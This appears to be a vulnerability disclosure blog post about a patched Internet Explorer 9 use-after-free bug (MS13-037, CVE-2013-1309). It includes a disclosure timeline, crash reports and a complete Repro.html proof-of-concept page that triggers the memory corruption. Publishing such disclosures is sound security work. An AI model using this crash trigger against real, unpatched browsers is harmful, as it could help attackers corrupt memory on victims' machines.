This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected. December 7th, 2016 MSIE 9 MSHTML CDisp­Node::Insert­Sibling­Node use-after-free

MSIE 9 MSHTML CDisp­Node::Insert­Sibling­Node use-after-free

(MS13-037, CVE-2013-1309)

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software, attack vectors and potential mitigations

  • Microsoft Internet Explorer 9

    An attacker would need to get a target user to open a specially crafted web-page. Java­Script does not appear to be required for an attacker to triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. The ZDI did do a more thorough analysis and provide some details in their advisory. I have included a number of reports created using a predecessor of Bug­Id below.

 Repro.html <!doctype html> <html> <head> <script> window.onload=function(){location.reload();}; </script> </head> <body> <var> <img class="float" ismap="ismap" usemap="map"/> <map id="map"><area/></map> <dfn class="float"></dfn> <a class="float"></a> <input class="zoom"/> text </var> <q class="border float zoom" xml:space="preserve"> </q> </body> <style type="text/css"> .float { float:left; } .zoom { zoom:3000%; } .border::first-letter { border-top:1px; } </style> </html>

Time-line

  • 1 November 2012: This vulnerability was found through fuzzing.
  • 2 November 2012: This vulnerability was submitted to ZDI.
  • 19 November 2012: This vulnerability was acquired by ZDI.
  • 4 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
  • 29 May 2013: Microsoft addresses this vulnerability in MS13-037.
  • 7 December 2016: Details of this vulnerability are released.
 Bug­Id report: Arbitrary AVR@MSHTML.dll!CDisplay::Handle­Negatively­Positioned­Content(Vu9v) 
id:             Arbitrary AVR@MSHTML.dll!CDisplay::Handle­Negatively­Positioned­Content(Vu9v)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x13EF6FB4) in MSHTML.dll!CDisplay::Handle­Negatively­Positioned­Content
note:           Based on this information, this is expected to be a security issue!
application:    MSIE 9.00.8112.16421
This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version. Bug­Id report: Free AVW@MSHTML.dll!CDisp­Node::Insert­Sibling­Node(v­W5t) 
id:             Free AVW@MSHTML.dll!CDisp­Node::Insert­Sibling­Node(v­W5t)
description:    Security: Attempt to write to unallocated freed memory (@0x­FEEEFEEE+0x30) in MSHTML.dll!CDisp­Node::Insert­Sibling­Node
note:           Based on this information, this is expected to be a security issue!
application:    MSIE 9.00.8112.16421
This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version. © Copyright 2024 by Sky­Lined. Last updated on March 23rd, 2024. Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License. If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.